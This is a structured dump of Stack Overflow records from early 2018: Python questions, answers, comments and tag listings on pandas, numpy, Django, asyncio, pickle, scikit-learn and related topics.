has body: The key issue is that your function is returning a tuple object, and what res_1, res_2 = my_fun(df['a']) is doing is unpacking the returned tuples res_1 and res_2 as Series object. To illustrate: df.apply(my_fun) # a ([11, 12, 13], [3, 6, 9]) # b ([14, 15, 16], [12, 15, 18]) # c ([20, 21, 22], [30, 33, 36]) # dtype: object df.applymap(my_fun) # a b c # 0 (11, 3) (14, 12) (20, 30) # 1 (12, 6) (15, 15) (21, 33) # 2 (13, 9) (16, 18) (22, 36) You can manually unpack these into two DataFrames after the apply call if you want, but as you can see it's tedious: df1 = df.apply(my_fun, axis = 0).apply(lambda x: x[0]).transpose() df2 = df.apply(my_fun, axis = 0).apply(lambda x: x[1]).transpose() df1 # a b c # 0 11 14 20 # 1 12 15 21 # 2 13 16 22 df2 # a b c # 0 3 12 30 # 1 6 15 33 # 2 9 18 36 So unless you want to change your function to return a different object type or manually unpack these into two different DataFrame objects, @Wen's solution is the best and simplest for you.
type: Answer
upvote count: 1
score: 1

http://stackoverflow.com/q/48730187
upvote count: 1
has comment: http://stackoverflow.com/comment/84459670
favorite count: 0
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84459455
has comment: http://stackoverflow.com/comment/84459441
answer count: 0
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84459801
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84459941
type: Question
has comment: http://stackoverflow.com/comment/84459531
has comment: http://stackoverflow.com/comment/84459913
has body: I have a pretty reource hungry Python 3 application (64 bit, Windows 7, run from Powershell) that constantly maxes one core when running, and also uses quite a bit of memory. Right now around 10 GiB. It periodically prints output to console, but sometimes I notice that it just stops. The CPU utilization then also goes down from 12%-13% to 0%. This goes on until I press a key, such as spacebar in the console windows, when everything kicks back in. What is going on here?
has title: Python 3 application unexpectedly pauses, resumes on keypress
has comment: http://stackoverflow.com/comment/84459581

http://stackoverflow.com/comment/84586090
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48772395
type: Comment
has text: The answer is [[0, 0, 0]] [[0, 0, 0, 1, 1, 1], [0, 0, 0, 1, 1, 1]] [[0, 0, 0, 1, 1, 1, 3, 3, 3], [0, 0, 0, 1, 1, 1, 3, 3, 3], [0, 0, 0, 1, 1, 1, 3, 3, 3]] There is the main problem lies.I initialize x,y,z firstly 0,0,0 so at first it gave a output like that [[0,0,0]].But for the 2nd time when the loop is iterate and the values will be incremented by 1 it give output [[0,0,0,1,1,1]] but I need separated output for every iteration. Like [[0,0,0],[1,1,1]] instead of [[0,0,0,1,1,1]]

http://stackoverflow.com/comment/84344601
type: Comment
comment on: http://stackoverflow.com/a/48672158
score: 1
type: AnswerComment
has text: Gotcha. That makes total sense, I must have overlooked that piece in the docs. I agree though that that is borderline useless extrapolation behavior.

http://stackoverflow.com/q/48698132
answer count: 1
has comment: http://stackoverflow.com/comment/84395039
has title: Can't use pip to install packages in my virtualenv
has body: I have used virtualenv to initialize a python environment without site packages. But I can't use pip to install packages in the environment. For example, when I command: pip install numpy There are a lot of warnings like this: compile options: '-DNPY_INTERNAL_BUILD=1 -DHAVE_NPY_CONFIG_H=1 -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE=1 -D_LARGEFILE64_SOURCE=1 -Inumpy/core/include -Ibuild/src.linux-x86_64-2.7/numpy/core/include/numpy -Inumpy/core/src/private -Inumpy/core/src -Inumpy/core -Inumpy/core/src/npymath -Inumpy/core/src/multiarray -Inumpy/core/src/umath -Inumpy/core/src/npysort -I/usr/include/python2.7 -Ibuild/src.linux-x86_64-2.7/numpy/core/src/private -Ibuild/src.linux-x86_64-2.7/numpy/core/src/npymath -Ibuild/src.linux-x86_64-2.7/numpy/core/src/private -Ibuild/src.linux-x86_64-2.7/numpy/core/src/npymath -Ibuild/src.linux-x86_64-2.7/numpy/core/src/private -Ibuild/src.linux-x86_64-2.7/numpy/core/src/npymath -c' gcc: numpy/core/src/dummymodule.c gcc -pthread -shared -Wl,-z,relro build/temp.linux-x86_64-2.7/numpy/core/src/dummymodule.o -L/usr/lib64 -Lbuild/temp.linux-x86_64-2.7 -lm -lpython2.7 -o build/lib.linux-x86_64-2.7/numpy/core/_dummy.so building 'numpy.core.multiarray' extension compiling C sources C compiler: gcc -pthread -fno-strict-aliasing -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -D_GNU_SOURCE -fPIC -fwrapv -DNDEBUG -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -D_GNU_SOURCE -fPIC -fwrapv -fPIC compile options: '-DNPY_INTERNAL_BUILD=1 -DHAVE_NPY_CONFIG_H=1 -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE=1 -D_LARGEFILE64_SOURCE=1 -Ibuild/src.linux-x86_64-2.7/numpy/core/src/private -Inumpy/core/include -Ibuild/src.linux-x86_64-2.7/numpy/core/include/numpy -Inumpy/core/src/private -Inumpy/core/src -Inumpy/core -Inumpy/core/src/npymath -Inumpy/core/src/…
tagged with: virtual
tagged with: package
tagged with: python
type: UnansweredQuestion
score: 0
tagged with: pip
has answer: http://stackoverflow.com/a/48698215
type: Question
has comment: http://stackoverflow.com/comment/84395056

http://stackoverflow.com/q/48778664
has title: How to pause and resume a thread in python
answer count: 1
favorite count: 0
type: UnansweredQuestion
tagged with: multithreading
tagged with: python
has answer: http://stackoverflow.com/a/48778776
downvote count: 0
score: 1
type: Question
has body: I make a thread to run a script, and it may spend much time. And I want to pause and resume it in another thread. If I use a flag and detect it, it can not pause immediately. I have searched a lot, but it seems that self.__flag, self.pause can not achieve the target. class MT(threading.Thread): def __init__(): self.__running = threading.Event() self.__running.set() self.__flag = threading.Event() self.__flag.set() def run(self): ''' run the script ''' while self.__running.isSet(): self.__flag.wait() moudleTest() def pause(self): ''' pause the thread ''' self.__flag.clear() def resume(self): ''' resume the thread ''' self._-flag.set()
tagged with: pause
upvote count: 1

http://stackoverflow.com/q/48714626
has answer: http://stackoverflow.com/a/48714802
has comment: http://stackoverflow.com/comment/84428647
type: Question
tagged with: numpy
tagged with: arrays
has body: I have data files with mixed string and numerical content. I.e.: tag1 0.1 0.2 0.3 tag2 0.2 0.3 0.5 tag3 0.1 0.4 0.5 tag2 0.4 0.3 0.2 tag1 0.3 0.3 0.1 tag3 0.2 0.1 0.4 The ultimate goal is to extract an array to analyze (maybe plot) from column 2 and 3 for all elements where the tag is 'tag2'. (and other permutations thereof) There was another discussion on stackoverflow indicating that reading the files would be best done by genfromtxt use dtype=None to understand the ascii entries. Following that idea I tried; x= np.genfromtxt('data1.rpt',dtype=None) I expected a 2D array with 6 rows and 4 columns. But it turns out I got an array with 6 rows and some unexpected composite entries. &gt;&gt;&gt; x= np.genfromtxt('data1.rpt',dtype=None) &gt;&gt;&gt; x array([('tag1', 0.1, 0.2, 0.3), ('tag2', 0.2, 0.3, 0.5), ('tag3', 0.1, 0.4, 0.5), ('tag2', 0.4, 0.3, 0.2), ('tag1', 0.3, 0.3, 0.1), ('tag3', 0.2, 0.1, 0.4)], dtype=[('f0', 'S4'), ('f1', '&lt;f8'), ('f2', '&lt;f8'), ('f3', '&lt;f8')]) &gt;&gt;&gt; x.shape (6,) &gt;&gt;&gt; What is the best way to process the files into an array which then can be filtered or sliced for content? Your feedback is appreciated.
has comment: http://stackoverflow.com/comment/84428565
answer count: 2
possible better answer: http://stackoverflow.com/a/48714802
downvote count: 0
favorite count: 0
upvote count: 2
has answer: http://stackoverflow.com/a/48715134
accepted answer: http://stackoverflow.com/a/48715134
has title: Python 2D numpy array from genfromtxt
tagged with: python
has comment: http://stackoverflow.com/comment/84428535
score: 2
type: AnsweredQuestion

keyword-argument
tags question: http://stackoverflow.com/q/48731490
type: Tag
tag name: keyword-argument

http://stackoverflow.com/q/48761808
type: UnansweredQuestion
tagged with: package
tagged with: python
has comment: http://stackoverflow.com/comment/84524433
tagged with: oop
answer count: 0
type: Question
has body: So, basically, I have a folder called "Material" with two files in it: "Material.py" and "ElasticMaterial.py". Also, I have classes in each of the files called Material and ElasticMaterial respectively. Also, ElasticMaterial is a subclass of Material, hence, its class definition is: class ElasticMaterial(Material): def __init__(self,StressState): self.StressState = StressState if self.StressState=='threed': self.lv=6 #lv is length of stress and strain vectors else: self.lv=4 If I am importing Material class as any of the following options: import Material.Material from Material.Material import Material from . import Material I am getting the error: "module.init() takes at most 2 arguments (3 given)" Also, can anyone suggest any good course on Python OOP and Packages? I am using Python 3.6. P.S. I am trying to package my software such that each class is contained in its individual file. Adding Code from Material.py file import numpy as np from Material.ElasticMaterial import ElasticMaterial class Material(object): def newMaterial(matPhysLaw, stressState): if (matPhysLaw=="elastic"): return ElasticMaterial(stressState)
has title: Importing main class file to the child class file in Python
has comment: http://stackoverflow.com/comment/84583972
has comment: http://stackoverflow.com/comment/84524305
score: 0
has comment: http://stackoverflow.com/comment/84644618
tagged with: python-module
linked to: http://stackoverflow.com/q/42934799

http://stackoverflow.com/comment/84558012
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48777818
has text: Yes you are correct and i made sure i was using the correct version, thanks. `python --version Python 3.6.4`
score: 0

http://stackoverflow.com/a/48726076
answers question: http://stackoverflow.com/q/48725890
has comment: http://stackoverflow.com/comment/84471403
has comment: http://stackoverflow.com/comment/84471312
has body: New thread doesn't have an event loop so you have to pass and set it explicitly: def worker(ws, loop): asyncio.set_event_loop(loop) loop.run_until_complete(ws.start()) if __name__ == '__main__': ws = Server() loop = asyncio.new_event_loop() p = threading.Thread(target=worker, args=(ws, loop,)) p.start() Also, p.join() won't terminate your script correctly as you never stop the server so your loop will continue running, presumably hanging up the thread. You should call smth like loop.call_soon_threadsafe(ws.shutdown) before joining the thread, ideally waiting for the server's graceful shutdown.
accepted answer of: http://stackoverflow.com/q/48725890
score: 26
has comment: http://stackoverflow.com/comment/84461455
has comment: http://stackoverflow.com/comment/84461812
has comment: http://stackoverflow.com/comment/84453140
upvote count: 26
has comment: http://stackoverflow.com/comment/84471407
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84457291
has comment: http://stackoverflow.com/comment/84451375
type: Answer
downvote count: 0

http://stackoverflow.com/q/48731663
tagged with: python
type: UnansweredQuestion
score: 0
type: Question
has body: I have more than 2500 samples on which static analysis has been performed, with more than 300 features extracted per sample. Among these samples, I have discriminated more than 10 APT class and my aim is to build, for each class, a one-class classifier. I'm using python scikit library for machine-learning, and in particular i'm facing with One-class SVM. First question: There exist some other good one-class classifier for this approach? Second question: I have to come up with some metrics that can define a sort of "accuracy" of the classifier. Now I know that for one-class SVM the accuracy concept is not so well-define. I report my code and my concept: import numpy as np import pandas as pd from sklearn import svm from sklearn.model_selection import train_test_split df = pd.read_csv('features_labeled_apt17.csv') X = df.ix[:,1:341].values X_train, X_test = train_test_split(X,test_size = 0.3,random_state = 42) clf = svm.OneClassSVM(nu=0.1,kernel = "linear", gamma =0.1) y_score = clf.fit(X_train) pred = clf.predict(X_test) print(pred) These represents the output of the code: [ 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 -1 1 1 1 1 1 1 1 1 1 1 1 1 1 -1 1 1 1 1 1 1 1 1 1 -1 1 1 1 1 1 1 1 1 -1 1 1 1 1 1 1 1 1 -1 1 1 1 1 1 1 1 1 1 1 1 1 1 -1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1] The 1 represent of course the well-labeled sample, while the -1 represent the wrong one. First: do you think this can be a good approach? Second: For metrics, if I divide the total element in the testing set by the wrong labeled?
answer count: 1
has answer: http://stackoverflow.com/a/48742290
tagged with: scikit-learn
has title: One-class Classification

batch-normalization
tag name: batch-normalization
tags question: http://stackoverflow.com/q/48745785
type: Tag

http://stackoverflow.com/comment/84360620
type: QuestionComment
has text: did you check cron.log?
score: 0
comment on: http://stackoverflow.com/q/48681755
type: Comment

http://stackoverflow.com/q/48720538
favorite count: 0
tagged with: python-3.x
tagged with: django-2.0
type: UnansweredQuestion
tagged with: python
has body: Im new to Django. Im trying to display a total sum. Portfolio Model: # Create your models here. class Portfolio(models.Model): name = models.CharField(max_length=255) user = models.ForeignKey(User, related_name='portfolios', on_delete=models.PROTECT) def get_absolute_url(self): return reverse('portfolio:detail',kwargs={'pk': self.pk}) def __str__(self): return self.name class PortfolioItem(models.Model): portfolio = models.ForeignKey(Portfolio, related_name='items', on_delete=models.CASCADE) trade = models.ForeignKey(Trade, on_delete=models.CASCADE) Trade Model # Create your models here. class Trade(models.Model): quantity = models.FloatField() open_price = models.FloatField() commision = models.FloatField(null=True,blank=True) exchange_rate_usdsek = models.FloatField(null=True,blank=True) stock = models.ForeignKey(Stock, on_delete=models.CASCADE) #portfolio = models.ForeignKey(Portfolio, related_name='trades', on_delete=models.PROTECT) open_date = models.DateTimeField(auto_now_add=True, null=True) def get_absolute_url(self): return reverse('trade:detail',kwargs={'pk': self.pk}) def __str__(self): return self.stock.name @property def profit(self): #(sold - buy) / buy buy = self.open_price * self.quantity now = self.stock.current_price * self.quantity return ((now - buy ) / buy)*100 def net_gain(self): #(sold - buy) / buy buy = self.open_price * self.quantity now = self.stock.current_price * self.quantity return now - buy Portfolio index.html {% extends 'user/layout.html' %} {% block body %} {% for portfolio in all_portfolios %} {{portfolio.name}} Total: {{portfolio.total_amount}} Stock Amount Open Price Net P/L % Net P/L {% for item in portfolio.items.all %} {{item.trade.stock.name}} {{item.trade.quantity}} €{{item.trade.open_price}} €{{item.trade.stock.current_price}} % € {% endfor %} {% endfor %} {% endblock %} Portfolio view class IndexView(generic.ListView): template_name = 'portfolio/in…
score: 2
downvote count: 0
tagged with: django
has answer: http://stackoverflow.com/a/49384068
type: Question
has title: Django annotate count value of other class
upvote count: 2
answer count: 1

http://stackoverflow.com/comment/84307679
type: QuestionComment
comment on: http://stackoverflow.com/q/48652834
score: 0
has text: @JoshLee I apologize for not posing the question correctly, I think I was a bit confused with when a backslash is considered "in the string" or not. The link to the other SO question was a big help and allowed me to solve the problem. I should've known python had a built-in way of dealing with this. Thanks!
type: Comment

http://stackoverflow.com/a/48752001
type: Answer
score: 2
downvote count: 0
has body: Python can use different stream versions when pickling. Default versions differ between Python 2 and Python 3. Pass the protocol version explicitly. Use pickle.dumps('test', protocol=2) to get consistent results across versions. Note: The exact output may change, but the unpickling result remains the same, modulo "unicode" vs "ascii" in Python 2: # Python 2.7 output: &gt;&gt;&gt; base64.b64encode(pickle.dumps('test', protocol=2)) 'gAJVBHRlc3RxAC4=' # Decode output from Python 3: &gt;&gt;&gt; pickle.loads(base64.b64decode('gAJYBAAAAHRlc3RxAC4=')) u'test' # Python 3.6 output: &gt;&gt;&gt; base64.b64encode(pickle.dumps('test', protocol=2)) b'gAJYBAAAAHRlc3RxAC4=' # Decoding Python 2's output: &gt;&gt;&gt; pickle.loads(base64.b64decode('gAJVBHRlc3RxAC4=')) 'test' # Note, not u'test'.
upvote count: 2
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48751831
has comment: http://stackoverflow.com/comment/84505631
answers question: http://stackoverflow.com/q/48751831

http://stackoverflow.com/q/48679487
has comment: http://stackoverflow.com/comment/92386277
has comment: http://stackoverflow.com/comment/91908077
tagged with: python
tagged with: python-tesseract
answer count: 0
type: Question
tagged with: tesseract
has comment: http://stackoverflow.com/comment/91886796
has comment: http://stackoverflow.com/comment/92389381
has body: I am doing some OCR using tesseract to recognition text and numbers on a document. I used pytesseract as my python wrapper. As a start, I just used image_to_string to see if my keywords are located inside my document. once found, I would use image_to_data to locate these keywords within the documents. Here is where the problem lies. I am able to find the keywords using image_to_string but when I use image_to_data to convert the same input document, I could not locate the keywords in the verbose data. Is this a bug or does tesseract OCR behave this way. Any help will be much appreciated.
score: 0
has comment: http://stackoverflow.com/comment/123189307
has comment: http://stackoverflow.com/comment/91907687
has comment: http://stackoverflow.com/comment/92377269
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/92314827
has title: tesseract ocr text: output difference between image_to_string and image_to_data

http://stackoverflow.com/comment/84425946
has text: This answer doesn't seem to offer any substantial points made over the answer posted by @AdamSmith.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48713449
type: Comment

http://stackoverflow.com/q/48726717
score: 3
has body: Suppose there is list a=[1,2,3,4] in jinja2 and i want to access only 3rd index of list .In other languages we write a[2] but it shows error in jinja2. def dashboard(request): user = request.user staff_detail = [] staffs = models.Staff.objects.all() rec_total = models.Recordings.objects.all().count() rec_enquiry = models.Recordings.objects.filter(type=1).count() rec_complaint = models.Recordings.objects.filter(type=2).count() for staff in staffs: st = dict() st['staff_detail'] = staff st['total_recordings'] = staff.recordings_set.all().count() st['enquiry'] = staff.recordings_set.filter(type=1).count() st['complaint'] = staff.recordings_set.filter(type=2).count() staff_detail.append(st) return render(request, 'hackathon/index.html', { 'staff_detail': staff_detail, 'rec_total': rec_total, 'rec_enquiry': rec_enquiry, 'rec_complaint': rec_complaint, 'staff_first': staff_detail[0], }) In html file want only the 1st element of staff_detail currently I write {{staff_detail[0].staff_detail.name}} but it is showing error I can only access them using for loop
upvote count: 4
has comment: http://stackoverflow.com/comment/84452588
has comment: http://stackoverflow.com/comment/84494723
has answer: http://stackoverflow.com/a/48747505
answer count: 1
has comment: http://stackoverflow.com/comment/84461341
favorite count: 0
tagged with: python
has title: How to access specific index in list in jinja2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84452845
tagged with: django
tagged with: jinja2
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84452837

http://stackoverflow.com/comment/84304677
type: QuestionComment
has text: .... you're getting `None` because your `grade` function *always returns `None`*
comment on: http://stackoverflow.com/q/48653291
score: 2
type: Comment

http://stackoverflow.com/q/48735465
downvote count: 1
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/84470339
has body: For a given vector x, I would like to provide a value (say np.mean(x)) and I am looking for the percentile this value falls in. Any such built in numpy function or easy way to implement it?
has comment: http://stackoverflow.com/comment/84470348
favorite count: 0
type: UnansweredQuestion
tagged with: python
linked to: http://stackoverflow.com/q/12414043
score: 2
answer count: 0
has comment: http://stackoverflow.com/comment/84470449
upvote count: 3
has title: Inverse of np.percentile()
duplicate of: http://stackoverflow.com/q/12414043

http://stackoverflow.com/comment/84598483
score: 0
has text: Added expected output in the question
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48797784

http://stackoverflow.com/q/48740621
has body: How can I append the first row from every column into a list of lists? I have attempted this through the following code but can't seem to get it working. data = [[],[],[]] xy = ([1,2,3,4,5,9], [7,4,9,2,3,8], [1,2,3,4,5,9], [7,4,9,2,3,8]) data[0].append(xy(list(map(float,row[1:4][::2]))) Expected output: [1,7,1,7]
has answer: http://stackoverflow.com/a/48740826
type: AnsweredQuestion
upvote count: 0
favorite count: 0
accepted answer: http://stackoverflow.com/a/48740826
type: Question
has comment: http://stackoverflow.com/comment/84488008
has comment: http://stackoverflow.com/comment/84480669
tagged with: python
has comment: http://stackoverflow.com/comment/84480928
score: -2
has title: How to append the 1st row of separate columns to a list of lists
tagged with: append
tagged with: list
downvote count: 2
answer count: 1

http://stackoverflow.com/q/48689396
answer count: 0
has body: Hi i am familiar with python xmltree, json, pandas and numpy, XML parsing. today i got a huge text file to parse it almost looks like json format with little different, i understood if i can create dictionary of dictionaries like json my problem solved, but i am totally clueless how to convert to json, the below file %Bank PARSED MESSAGE FILE %VERSION : PIL 98.7 %nex MODULE : SIL 98 2018 Jan 31 16:44:53.050 Pkt Version = 8 name id ID = 0, ID = 58 Freq = 180 conserved NEXT: value Name ::= { message c1 : ABC1 : { XYZ2 { Andhra { { Vizag { pool { 1, 2, 3 }, loop { 6, 7, 5 } }, toll closed // } }, toll code '00000000 00000001'B 2018 Jan 31 16:44:43.050 Pkt Version = 8 name id ID = 1, ID = 56 Freq = 567 conserved LATE: World ::= { Asia c1 : EastAsia : { India { Tamil { { Trichy { pool { 1, 2, 3 }, loop { 6, 7, 5 } }, toll closed // } }, toll code '00000000 00000001'B
has comment: http://stackoverflow.com/comment/84377269
type: Question
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/84377410
has comment: http://stackoverflow.com/comment/84377018
score: 0
type: UnansweredQuestion
tagged with: python
tagged with: dictionary
has title: how create JSON or list of lists of dictionary of dictionaries file from a txt file using python regex
tagged with: list

http://stackoverflow.com/q/48664043
type: Question
has comment: http://stackoverflow.com/comment/84326268
score: 5
tagged with: python-itertools
has comment: http://stackoverflow.com/comment/84328020
downvote count: 0
has body: This code: from itertools import groupby, count L = [38, 98, 110, 111, 112, 120, 121, 898] groups = groupby(L, key=lambda item, c=count():item-next(c)) tmp = [list(g) for k, g in groups] Takes [38, 98, 110, 111, 112, 120, 121, 898] , groups it by consecutive numbers and merge them with this final output: ['38', '98', '110,112', '120,121', '898'] How can the same be done with a list of lists with multiple columns, like this list below where you can group them by name and the consecution of its second column value and then merge. In other words, this data: L= [ ['Italy','1','3'] ['Italy','2','1'], ['Spain','4','2'], ['Spain','5','8'], ['Italy','3','10'], ['Spain','6','4'], ['France','5','3'], ['Spain','20','2']] should give the following output: [['Italy','1-2-3','3-1-10'], ['France','5','3'], ['Spain','4-5-6','2-8-4'], ['Spain','20','2']] Should more-itertools be more appropriate for this task? Group and combine items of multiple-column lists with itertools/more-itertools in Python
has comment: http://stackoverflow.com/comment/84325561
has comment: http://stackoverflow.com/comment/84327666
has answer: http://stackoverflow.com/a/48665422
has answer: http://stackoverflow.com/a/48665284
accepted answer: http://stackoverflow.com/a/48665422
favorite count: 0
has comment: http://stackoverflow.com/comment/84325521
answer count: 5
tagged with: python
has answer: http://stackoverflow.com/a/48672665
has title: Group and combine items of multiple-column lists with itertools/more-itertools in Python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48664473
upvote count: 5
has answer: http://stackoverflow.com/a/48665551
possible better answer: http://stackoverflow.com/a/48665284

http://stackoverflow.com/comment/84438446
type: Comment
comment on: http://stackoverflow.com/a/48718650
has text: @Topto Traceback (most recent call last): File "C:/AnacondaProjects/Websites/headless.py", line 21, in <module> soup = BeautifulSoup(driver.page_source, 'lxml') File "C:\AnacondaProjects\lib\site-packages\bs4\__init__.py", line 165, in __init__ % ",".join(features)) bs4.FeatureNotFound: Couldn't find a tree builder with the features you requested: lxml. Do you need to install a parser library?
score: 0
type: AnswerComment

http://stackoverflow.com/a/48703328
upvote count: 1
score: 1
has body: you can try: import numpy as np a = np.random.rand(10,) b = np.random.rand(10,) c = np.random.rand(10,) D = np.vstack([a,b,c]) [a2,b2,c2]=[D[x,:] for x in range(3)] print(a2.shape) output: (10,)
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/48703171

http://stackoverflow.com/a/54402019
has body: If you try to copy paste the solution from above answer it won't work try this and make sure to change your python path appropriately datas= [('C:\\Python\\Lib\\site-packages\\tld\\res\\effective_tld_names.dat.txt', 'tld\\res')]
score: 0
type: Answer
answers question: http://stackoverflow.com/q/48680798

http://stackoverflow.com/comment/99741098
score: 0
has text: https://www.adobe.com/content/dam/acom/en/devnet/pdf/pdfs/PDF32000_2008.pdf Check the pdf specifications. The example on page 444 shows ```<< /FT /Tx /Ff ...% Set Multiline flag /T ( Silly prose ) /DA ( 0 0 1 rg /Ti 12 Tf ) /V ( The quick brown fox ate the lazy mouse ) /AP << /N 5 0 R >>>>```. Maybe this helps!
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48713972

django
tags question: http://stackoverflow.com/q/48721902
tags question: http://stackoverflow.com/q/48650663
tags question: http://stackoverflow.com/q/48667107
tags question: http://stackoverflow.com/q/48681755
tags question: http://stackoverflow.com/q/48780791
tags question: http://stackoverflow.com/q/48737391
tags question: http://stackoverflow.com/q/48781487
tags question: http://stackoverflow.com/q/48672119
tags question: http://stackoverflow.com/q/48768148
tags question: http://stackoverflow.com/q/48731176
tags question: http://stackoverflow.com/q/48709454
tags question: http://stackoverflow.com/q/48726717
tags question: http://stackoverflow.com/q/48764111
tags question: http://stackoverflow.com/q/48705867
tags question: http://stackoverflow.com/q/48744971
tags question: http://stackoverflow.com/q/48696846
tags question: http://stackoverflow.com/q/48730694
tags question: http://stackoverflow.com/q/48791186
tags question: http://stackoverflow.com/q/48655869
tags question: http://stackoverflow.com/q/48648408
tags question: http://stackoverflow.com/q/48681881
tags question: http://stackoverflow.com/q/48722413
tags question: http://stackoverflow.com/q/48803992
tags question: http://stackoverflow.com/q/48768731
tags question: http://stackoverflow.com/q/48670637
tags question: http://stackoverflow.com/q/48749547
tags question: http://stackoverflow.com/q/48650191
tags question: http://stackoverflow.com/q/48691027
tags question: http://stackoverflow.com/q/48710094
tags question: http://stackoverflow.com/q/48660060
tags question: http://stackoverflow.com/q/48735898
tags question: http://stackoverflow.com/q/48677262
tags question: http://stackoverflow.com/q/48686456
tags question: http://stackoverflow.com/q/48784861
tags question: http://stackoverflow.com/q/48677643
tags question: http://stackoverflow.com/q/48729741
tags question: http://stackoverflow.com/q/48724322
tags question: http://stackoverflow.com/q/48668495
tags question: http://stackoverflow.com/q/48709358
tags question: http://stackoverflow.com/q/48758579
tags question: http://stackoverflow.com/q/48721295
tags question: http://stackoverflow.com/q/48731537
tags question: http://stackoverflow.com/q/48781136
tags question: http://stackoverflow.com/q/48724220
tags question: http://stackoverflow.com/q/48735165
tags question: http://stackoverflow.com/q/48729750
tags question: http://stackoverflow.com/q/48663854
tags question: http://stackoverflow.com/q/48725546
tags question: http://stackoverflow.com/q/48646668
tags question: http://stackoverflow.com/q/48780354
tags question: http://stackoverflow.com/q/48718870
tags question: http://stackoverflow.com/q/48736031
tags question: http://stackoverflow.com/q/48769919
tags question: http://stackoverflow.com/q/48651237
tags question: http://stackoverflow.com/q/48655290
tags question: http://stackoverflow.com/q/48655584
tags question: http://stackoverflow.com/q/48651438
type: Tag
tags question: http://stackoverflow.com/q/48678222
tags question: http://stackoverflow.com/q/48734814
tags question: http://stackoverflow.com/q/48680622
tags question: http://stackoverflow.com/q/48722692
tags question: http://stackoverflow.com/q/48801368
tags question: http://stackoverflow.com/q/48688693
tags question: http://stackoverflow.com/q/48680653
tags question: http://stackoverflow.com/q/48794281
tags question: http://stackoverflow.com/q/48680659
tags question: http://stackoverflow.com/q/48707261
tags question: http://stackoverflow.com/q/48798095
tags question: http://stackoverflow.com/q/48660441
tags question: http://stackoverflow.com/q/48721836
tags question: http://stackoverflow.com/q/48733062
tags question: http://stackoverflow.com/q/48796678
tags question: http://stackoverflow.com/q/48664449
tags question: http://stackoverflow.com/q/48719739
tags question: http://stackoverflow.com/q/48662386
tags question: http://stackoverflow.com/q/48796419
tags question: http://stackoverflow.com/q/48710739
tags question: http://stackoverflow.com/q/48687724
tags question: http://stackoverflow.com/q/48778083

http://stackoverflow.com/comment/84660684
has text: I don't think that would be necessary. Please update your question and add the code of your view function.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48801922

http://stackoverflow.com/a/48678940
answers question: http://stackoverflow.com/q/48678911
upvote count: 3
type: Answer
has comment: http://stackoverflow.com/comment/84355229
has body: Actually include is present in django.conf.urls In urls.py in place of from django.urls import include write below code from django.conf.urls import include
score: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/84355347
has comment: http://stackoverflow.com/comment/84355483
has comment: http://stackoverflow.com/comment/84355497
has comment: http://stackoverflow.com/comment/84355145

http://stackoverflow.com/comment/84294139
type: Comment
type: QuestionComment
has text: Yep, exactly. You learned the hard way that subparsers (including their defaults) are only run when their respective command is present in the arguments. Note that you can answer your own questions.
comment on: http://stackoverflow.com/q/48648036
score: 1

http://stackoverflow.com/a/48737563
answers question: http://stackoverflow.com/q/48737294
has body: You should put return total_betat the end of your function. so your code will look something like this: def poker_jackpot(num_players,avg_bet): """fuction to calculate jackpot""" total_bet=0 #Accumulator used to total the jackpot from avg_bet for i in range(avg_bet): total_bet += total_bet+avg_bet for i in range(num_players,1,-1): #Range function that counts down the players as each round ends print("Total jackpot after" , str(i), "rounds:"+"$",str(total_bet)) return total_bet #Returning the total for use in the final output poker_jackpot(10,5)
has comment: http://stackoverflow.com/comment/84475098
has comment: http://stackoverflow.com/comment/84475392
type: Answer
has comment: http://stackoverflow.com/comment/84475176
has comment: http://stackoverflow.com/comment/84474942
has comment: http://stackoverflow.com/comment/84474796
score: 0
has comment: http://stackoverflow.com/comment/84474867
has comment: http://stackoverflow.com/comment/84475030
has comment: http://stackoverflow.com/comment/84475042
has comment: http://stackoverflow.com/comment/84475284
has comment: http://stackoverflow.com/comment/84475413
has comment: http://stackoverflow.com/comment/84474817
has comment: http://stackoverflow.com/comment/84475058
has comment: http://stackoverflow.com/comment/84475376
has comment: http://stackoverflow.com/comment/84475246

http://stackoverflow.com/comment/84473128
has text: the data, expected output is useful too for people wanting to help - and you might want to look up `enumerate`
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48736258

anaconda
tags question: http://stackoverflow.com/q/48707634
tags question: http://stackoverflow.com/q/48778899
tags question: http://stackoverflow.com/q/48667581
tags question: http://stackoverflow.com/q/48675722
tags question: http://stackoverflow.com/q/48723155
type: Tag
tags question: http://stackoverflow.com/q/48682118
tags question: http://stackoverflow.com/q/48787209
tags question: http://stackoverflow.com/q/48682305
tags question: http://stackoverflow.com/q/48756423
tags question: http://stackoverflow.com/q/48739521
tags question: http://stackoverflow.com/q/48673863
tags question: http://stackoverflow.com/q/48649779
